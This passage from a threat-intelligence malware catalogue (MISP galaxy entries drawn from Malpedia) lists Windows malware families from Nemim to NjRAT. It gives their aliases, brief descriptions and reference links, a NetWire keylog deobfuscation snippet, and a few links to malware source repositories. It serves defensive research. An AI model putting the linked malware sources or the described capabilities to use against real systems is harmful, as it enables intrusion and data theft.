https://intel471.com/blog/how-cybercriminals-create-turbulence-for-the-transportation-industry
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/nefilim-ransomware-threatens-to-expose-stolen-data
https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html
http://www.secureworks.com/research/threat-profiles/gold-mansard
https://www.bleepingcomputer.com/news/security/home-appliance-giant-whirlpool-hit-in-nefilim-ransomware-attack/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks
https://labs.sentinelone.com/meet-nemty-successor-nefilim-nephilim-ransomware/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://news.sophos.com/en-us/2021/01/26/nefilim-ransomware-attack-uses-ghost-credentials/

Nemim

The tag is: *misp-galaxy:malpedia="Nemim"*

Nemim is also known as:

- Nemain

Table 2687. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nemim
https://www.secureworks.com/research/threat-profiles/tungsten-bridge
http://blog.nsfocus.net/darkhotel-3-0908/

Nemty

Nemty is a ransomware that was discovered in September 2019. Fortinet states that they found it being distributed through similar ways as Sodinokibi and also noted artfifacts they had seen before in Gandcrab.

The tag is: *misp-galaxy:malpedia="Nemty"*

Nemty is also known as:

Table 2688. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nemty
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://securelist.com/evolution-of-jsworm-ransomware/102428/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nemty-ransomware-trik-botnet
https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/
https://www.sentinelone.com/labs/karma-ransomware-an-emerging-threat-with-a-hint-of-nemty-pedigree/
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://www.fortinet.com/blog/threat-research/nemty-ransomware-early-stage-threat.html
https://medium.com/csis-techblog/the-nemty-affiliate-model-13f5cf7ab66b
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.tesorion.nl/en/posts/nemty-update-decryptors-for-nemty-1-5-and-1-6/

https://github.com/albertzsigovits/malware-notes/blob/master/Nemty.md
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.bleepingcomputer.com/news/security/fake-paypal-site-spreads-nemty-ransomware/
https://www.bleepingcomputer.com/news/security/new-nemty-ransomware-may-spread-via-compromised-rdp-connections/
https://www.bleepingcomputer.com/news/security/nemty-ransomware-gets-distribution-from-rig-exploit-kit/
https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/
https://www.tesorion.nl/nemty-update-decryptors-for-nemty-1-5-and-1-6/
http://www.secureworks.com/research/threat-profiles/gold-mansard
https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2019-08-24-nemty-ransomware-notes.vk.raw
https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/
https://labs.sentinelone.com/meet-nemty-successor-nefilim-nephilim-ransomware/
https://www.bleepingcomputer.com/news/security/nemty-ransomware-decryptor-released-recover-files-for-free/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

Nerbian RAT

Proofpoint observed distribution of this RAT since late April 2022, it is written on Go and incorporates code from various open-source Git repositories.

The tag is: *misp-galaxy:malpedia="Nerbian RAT"*

Nerbian RAT is also known as:

Table 2689. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nerbian_rat
https://www.proofpoint.com/us/blog/threat-insight/nerbian-rat-using-covid-19-themes-features-sophisticated-evasion-techniques

neshta

Neshta is a 2005 Belarusian file infector virus . The name of the virus comes from the Belarusian word "nesta" meaning "something." The program is a Windows application (exe file). Written in Delphi . The size of the original malicious file is 41,472 bytes . This file virus is the type of virus that is no longer popular at present.

The tag is: *misp-galaxy:malpedia="neshta"*

neshta is also known as:

Table 2690. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neshta
https://threatvector.cylance.com/en_us/home/threat-spotlight-neshta-file-infector-endures.html
https://www.mandiant.com/resources/pe-file-infecting-malware-ot
https://www.virusbulletin.com/virusbulletin/2014/08/bird-s-nest
https://www.virusradar.com/en/Win32_Neshta.A/description

NESTEGG

NESTEGG is a memory-only backdoor that can proxy commands to other infected systems using a custom routing scheme. It accepts commands to upload and download files, list and delete files, list and terminate processes, and start processes. NESTEGG also creates Windows Firewall rules that allows the backdoor to bind to a specified port number to allow for inbound traffic.

The tag is: *misp-galaxy:malpedia="NESTEGG"*

NESTEGG is also known as:

Table 2691. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nestegg
https://youtu.be/8hJyLkLHH8Q?t=1208
https://youtu.be/_kzFNQySEMw?t=789
https://www.documentcloud.org/documents/4834259-Park-Jin-Hyok-Complaint.html
https://content.fireeye.com/apt/rpt-apt38
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180231/LazarusUnderTheHood_PDF_final_for_securelist.pdf

NetC

The tag is: *misp-galaxy:malpedia="NetC"*

NetC is also known as:

Table 2692. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.netc
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

NetDooka

A RAT written in .NET, delivered with a driver to protect it from deletion. Observed being dropped by PrivateLoader.

The tag is: *misp-galaxy:malpedia="NetDooka"*

NetDooka is also known as:

Table 2693. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netdooka
https://www.trendmicro.com/en_us/research/22/e/netdooka-framework-distributed-via-privateloader-ppi.html

NETEAGLE

The tag is: *misp-galaxy:malpedia="NETEAGLE"*

NETEAGLE is also known as:

- Neteagle_Scout
- ScoutEagle

Table 2694. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neteagle
https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/
https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf

NetfilterRootkit

The tag is: *misp-galaxy:malpedia="NetfilterRootkit"*

NetfilterRootkit is also known as:

Table 2695. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.netfilter
https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html
https://www.gdatasoftware.com/blog/microsoft-signed-a-malicious-netfilter-rootkit
https://www.bitdefender.com/files/News/CaseStudies/study/405/Bitdefender-DT-Whitepaper-Fivesys-creat5699-en-EN.pdf
https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/
https://blog.360totalsecurity.com/en/netfilter-rootkit-ii-continues-to-hold-whql-signatures/
https://www.intezer.com/blog/malware-analysis/fast-insights-for-a-microsoft-signed-netfilter-rootkit/
https://www.vice.com/en/article/pkbzxv/hackers-tricked-microsoft-into-certifying-malware-that-could-spy-on-users

NetFlash

The tag is: *misp-galaxy:malpedia="NetFlash"*

NetFlash is also known as:

Table 2696. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netflash
https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/

NetKey

The tag is: *misp-galaxy:malpedia="NetKey"*

NetKey is also known as:

Table 2697. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netkey
https://twitter.com/kevinperlow/status/1156406115472760835

Netrepser

The tag is: *misp-galaxy:malpedia="Netrepser"*

Netrepser is also known as:

Table 2698. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netrepser_keylogger
https://labs.bitdefender.com/2017/05/inside-netrepser-a-javascript-based-targeted-attack/

NetSupportManager RAT

Enigma Software notes that NetSupport Manager is a genuine application, which was first released about twenty years ago. The purpose of the NetSupport Manager tool is to enable users to receive remote technical support or provide remote computer assistance. However, cyber crooks have hijacked this useful application and misappropriated it to use it in their harmful campaigns. The name of the modified version of the NetSupport Manager has been labeled the NetSupport Manager RAT.

The tag is: *misp-galaxy:malpedia="NetSupportManager RAT"*

NetSupportManager RAT is also known as:

- NetSupport

Table 2699. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat
https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee
https://researchcenter.paloaltonetworks.com/2017/09/unit42-hoeflertext-popups-targeting-google-chrome-users-now-pushing-rat-malware/
https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer
http://www.netsupportmanager.com/index.asp
https://www.bleepingcomputer.com/news/security/malicious-web-redirect-service-infects-16-500-sites-to-push-malware/
https://www.bleepingcomputer.com/news/security/hacked-steam-accounts-spreading-remote-access-trojan/
https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part2/
https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html

NetTraveler

The tag is: *misp-galaxy:malpedia="NetTraveler"*

NetTraveler is also known as:

- TravNet

Table 2700. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nettraveler
https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests
https://cybergeeks.tech/dissecting-apt21-samples-using-a-step-by-step-approach/
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf

NetWire RC

Netwire is a RAT, its functionality seems focused on password stealing and keylogging, but includes remote control capabilities as well.

Keylog files are stored on the infected machine in an obfuscated form. The algorithm is:

```
for i in range(0,num_read):
    buffer[i] = ((buffer[i]-0x24)^0x9D)&0xFF
```

The tag is: *misp-galaxy:malpedia="NetWire RC"*

NetWire RC is also known as:

- NetWeird
- NetWire
- Recam

Table 2701. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire
https://decoded.avast.io/adolfstreda/the-tangle-of-wiryjmpers-obfuscation/
https://www.fortinet.com/blog/threat-research/threat-actors-prey-on-eager-travelers
https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html
https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors
https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols
https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader

https://www.amnesty.org/en/latest/research/2020/06/india-human-rights-defenders-targeted-by-a-coordinated-spyware-operation/
http://researchcenter.paloaltonetworks.com/2014/08/new-release-decrypting-netwire-c2-traffic/
https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf
https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf
https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware
https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire
https://maskop9.wordpress.com/2019/01/30/analysis-of-netwiredrc-trojan/
https://news.sophos.com/en-us/2020/05/14/raticate/
https://blog.vincss.net/2020/03/re011-unpack-crypter-cua-malware-netwire-bang-x64dbg.html
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://www.circl.lu/pub/tr-23/
https://www.sentinelone.com/wp-content/uploads/2022/02/Modified-Elephant-APT-and-a-Decade-of-Fabricating-Evidence-SentinelLabs.pdf
https://www.secureworks.com/research/threat-profiles/cobalt-trinity
https://context-cdn.washingtonpost.com/notes/prod/default/documents/b19a6f2e-55a1-4915-9c2d-5fae0110418c/note/b463d38b-2384-4bb0-a94b-b1b17223ffd0.[https://context-cdn.washingtonpost.com/notes/prod/default/documents/b19a6f2e-55a1-4915-9c2d-5fae0110418c/note/b463d38b-2384-4bb0-a94b-b1b17223ffd0.]
https://www.sentinelone.com/labs/modifiedelephant-apt-and-a-decade-of-fabricating-evidence/
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://mp.weixin.qq.com/s/yrDzybPVTbu_9SrZPlSNKA
http://blog.talosintelligence.com/2017/12/recam-redux-deconfusing-confuserex.html
https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/
https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg
https://drive.google.com/file/d/1dD2sWYES_hrPsoql4G0aVF9ILIxAS4Fd/view
https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign
https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://community.riskiq.com/article/24759ad2

https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://www.youtube.com/watch?v=TeQdZxP0RYY
https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers
https://news.drweb.ru/show/?i=13281&c=23
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage
https://yoroi.company/research/new-cyber-operation-targets-italy-digging-into-the-netwire-attack-chain/
https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html
https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data
https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/
https://threatpost.com/ta2541-apt-rats-aviation/178422/

Neuron

The tag is: *misp-galaxy:malpedia="Neuron"*

Neuron is also known as:

Table 2702. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neuron
https://www.ncsc.gov.uk/alerts/turla-group-malware
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://www.ncsc.gov.uk/news/turla-group-exploits-iran-apt-to-expand-coverage-of-victims

Neutrino

The tag is: *misp-galaxy:malpedia="Neutrino"*

Neutrino is also known as:

- Kasidet

Table 2703. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino
https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/
https://web.archive.org/web/20191223034907/http://blog.ptsecurity.com/2019/08/finding-neutrino.html
http://www.peppermalware.com/2019/01/analysis-of-neutrino-bot-sample-2018-08-27.html
https://blog.malwarebytes.com/cybercrime/2017/01/post-holiday-spam-campaign-delivers-neutrino-bot/
http://malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html
http://blog.trendmicro.com/trendlabs-security-intelligence/credit-card-scraping-kasidet-builder-leads-to-spike-in-detections/
https://blog.malwarebytes.com/threat-analysis/2015/08/inside-neutrino-botnet-builder/
https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/
https://malwarebreakdown.com/2017/04/03/shadow-server-domains-leads-to-rig-exploit-kit-dropping-smoke-loader-which-downloads-neutrino-bot-aka-kasidet
https://securityblog.switch.ch/2017/07/07/94-ch-li-domain-names-hijacked-and-used-for-drive-by/
https://journal.cecyf.fr/ojs/index.php/cybin/article/view/22
http://blog.ptsecurity.com/2019/08/finding-neutrino.html
https://www.zscaler.com/blogs/research/malicious-office-files-dropping-kasidet-and-dridex

Neutrino POS

The tag is: *misp-galaxy:malpedia="Neutrino POS"*

Neutrino POS is also known as:

Table 2704. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino_pos
https://securelist.com/neutrino-modification-for-pos-terminals/78839/

NewBounce

The tag is: *misp-galaxy:malpedia="NewBounce"*

NewBounce is also known as:

Table 2705. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.newbounce
https://www.nortonlifelock.com/sites/default/files/2021-10/OPERATION%20EXORCIST%20White%20Paper.pdf

NewCore RAT

The tag is: *misp-galaxy:malpedia="NewCore RAT"*

NewCore RAT is also known as:

Table 2706. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat
https://blog.viettelcybersecurity.com/p1-chien-dich-cua-nhom-apt-trung-quoc-goblin-panda-tan-cong-vao-viet-nam-loi-dung-dai-dich-covid-19/
https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations
https://securelist.com/cycldek-bridging-the-air-gap/97157/
https://meltx0r.github.io/tech/2020/02/12/goblin-panda-apt.html
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHYbpyrd/view
https://medium.com/@Sebdraven/goblin-panda-continues-to-target-vietnam-bc2f0f56dcd6

NewPass

The tag is: *misp-galaxy:malpedia="NewPass"*

NewPass is also known as:

Table 2707. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.newpass
https://www.telsy.com/turla-venomous-bear-updates-its-arsenal-newpass-appears-on-the-apt-threat-scene/

NewPosThings

The tag is: *misp-galaxy:malpedia="NewPosThings"*

NewPosThings is also known as:

Table 2708. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.newposthings
https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html
https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/
https://blog.trendmicro.com/trendlabs-security-intelligence/newposthings-has-new-pos-things/

NewsReels

The tag is: *misp-galaxy:malpedia="NewsReels"*

NewsReels is also known as:

Table 2709. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.newsreels
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

NewCT

The tag is: *misp-galaxy:malpedia="NewCT"*

NewCT is also known as:

- CT

Table 2710. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct
https://www.secureworks.com/research/threat-profiles/bronze-express
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf
http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf
https://unit42.paloaltonetworks.com/atoms/shallowtaurus/

Nexster Bot

The tag is: *misp-galaxy:malpedia="Nexster Bot"*

Nexster Bot is also known as:

Table 2711. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nexster_bot
https://twitter.com/benkow_/status/789006720668405760

NexusLogger

The tag is: *misp-galaxy:malpedia="NexusLogger"*

NexusLogger is also known as:

Table 2712. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nexus_logger
https://twitter.com/PhysicalDrive0/status/842853292124360706
http://researchcenter.paloaltonetworks.com/2017/03/unit42-nexuslogger-new-cloud-based-keylogger-enters-market/

Ngioweb (Windows)

The tag is: *misp-galaxy:malpedia="Ngioweb (Windows)"*

Ngioweb (Windows) is also known as:

- Grobios

Table 2713. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ngioweb
https://research.checkpoint.com/ramnits-network-proxy-servers/
https://www.fireeye.com/blog/threat-research/2018/05/deep-dive-into-rig-exploit-kit-delivering-grobios-trojan.html

NGLite

The tag is: *misp-galaxy:malpedia="NGLite"*

NGLite is also known as:

Table 2714. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nglite

https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/
https://us-cert.cisa.gov/ncas/alerts/aa21-336a

Nibiru

The tag is: *misp-galaxy:malpedia="Nibiru"*

Nibiru is also known as:

Table 2715. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nibiru
https://blog.talosintelligence.com/2020/11/Nibiru-ransomware.html

NightSky

The tag is: *misp-galaxy:malpedia="NightSky"*

NightSky is also known as:

- Night Sky

Table 2716. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nightsky
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.bleepingcomputer.com/news/security/night-sky-is-the-latest-ransomware-targeting-corporate-networks/
https://twitter.com/cglyer/status/1480742363991580674
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation
https://www.youtube.com/watch?v=Yzt_zOO8pDM
https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/
https://twitter.com/cglyer/status/1480734487000453121

NimbleMamba

NimbleMamba is a new implant used by TA402/Molerats group as replacement of LastConn. It uses guardrails to ensure that victims are within the TA's target region. It is written in C# and delivered as an obfuscated .NET executable. One seen obfuscator is SmartAssembly.

The tag is: *misp-galaxy:malpedia="NimbleMamba "*

NimbleMamba is also known as:

Table 2717. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nimblemamba
https://thehackernews.com/2022/02/palestinian-hackers-using-new.html
https://www.proofpoint.com/us/blog/threat-insight/ugg-boots-4-sale-tale-palestinian-aligned-espionage

NimGrabber

Malware written in Nim, stealing data including discord tokens from browsers, exfiltrating the results via a Discord webhook.

The tag is: *misp-galaxy:malpedia="NimGrabber"*

NimGrabber is also known as:

Table 2718. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nimgrabber
https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671

Nimrev

Backdoor written in Nim.

The tag is: *misp-galaxy:malpedia="Nimrev"*

Nimrev is also known as:

Table 2719. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nimrev
https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671

nitlove

The tag is: *misp-galaxy:malpedia="nitlove"*

nitlove is also known as:

Table 2720. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nitlove
https://www.fireeye.com/blog/threat-research/2015/05/nitlovepos_another.html

Nitol

The tag is: *misp-galaxy:malpedia="Nitol"*

Nitol is also known as:

Table 2721. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol
https://en.wikipedia.org/wiki/Nitol_botnet
https://krebsonsecurity.com/tag/nitol/
https://blogs.technet.microsoft.com/microsoft_blog/2012/09/13/microsoft-disrupts-the-emerging-nitol-botnet-being-spread-through-an-unsecure-supply-chain/

win.nitro

Ransomware family which requires payment in Discord gift cards ("Discord Nitro").

The tag is: *misp-galaxy:malpedia="win.nitro"*

win.nitro is also known as:

- Hydra

Table 2722. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nitro
https://twitter.com/malwrhunterteam/status/1430616882231578624
https://www.bleepingcomputer.com/news/security/discord-nitro-gift-codes-now-demanded-as-ransomware-payments/
https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf
https://github.com/nightfallgt/nitro-ransomware

Nitrokod

A Turkish cryptominer campaign.

The tag is: *misp-galaxy:malpedia="Nitrokod"*

Nitrokod is also known as:

Table 2723. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nitrokod
https://research.checkpoint.com/2022/check-point-research-detects-crypto-miner-malware-disguised-as-google-translate-desktop-and-other-legitimate-applications

NixScare Stealer

The tag is: *misp-galaxy:malpedia="NixScare Stealer"*

NixScare Stealer is also known as:

Table 2724. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.nixscare
https://twitter.com/3xp0rtblog/status/1302584919592501248

NjRAT

RedPacket Security describes NJRat as "a remote access trojan (RAT) has capabilities to log keystrokes, access the victim's camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim's desktop, perform process, file, and registry manipulations, and capabilities to let the attacker update, uninstall, restart, close, disconnect the RAT and rename its campaign ID. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread through USB drives."

It is supposedly popular with actors in the Middle East. Similar to other RATs, many leaked builders may be backdoored.

The tag is: *misp-galaxy:malpedia="NjRAT"*

NjRAT is also known as:

- Bladabindi

Table 2725. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://unit42.paloaltonetworks.com/njrat-pastebin-command-and-control
https://www.4hou.com/posts/VoPM
https://asec.ahnlab.com/1369
https://www.vectra.ai/blogpost/moonlight-middle-east-targeted-attacks
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt
https://ti.360.net/blog/articles/analysis-of-apt-c-27/
https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols
https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/
https://malwr-analysis.com/2020/06/21/njrat-malware-analysis/
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf
https://blog.talosintelligence.com/2021/07/sidecopy.html
https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html
https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware
https://www.secureworks.com/research/threat-profiles/copper-fieldstone
https://blog.sonatype.com/bladabindi-njrat-rat-in-jdb.js-npm-malware
https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html
https://news.sophos.com/en-us/2020/05/14/raticate/
https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/
https://lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation/
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/
https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA
https://github.com/itsKindred/malware-analysis-writeups/blob/master/bashar-bachir-chain/bashar-bachir-analysis.pdf

https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://forensicitguy.github.io/njrat-installed-from-msi/
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388
https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains
https://blog.nviso.eu/2020/09/01/epic-manchego-atypical-maldoc-delivery-brings-flurry-of-infostealers/
https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/
https://labs.k7computing.com/?p=21904
https://blog.reversinglabs.com/blog/rats-in-the-library
https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.njRAT
https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g
https://twitter.com/ESETresearch/status/1449132020613922828
https://cyberandramen.net/2022/01/12/analysis-of-njrat-powerpoint-macros/
https://blog.fortinet.com/2016/11/30/bladabindi-remains-a-constant-threat-by-using-dynamic-dns-services
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt
https://intel471.com/blog/privateloader-malware
https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered-1.pdf
https://blog.talosintelligence.com/2021/08/rat-campaign-targets-latin-america.html
https://blogs.360.cn/post/APT-C-44.html
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel
https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html

https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479
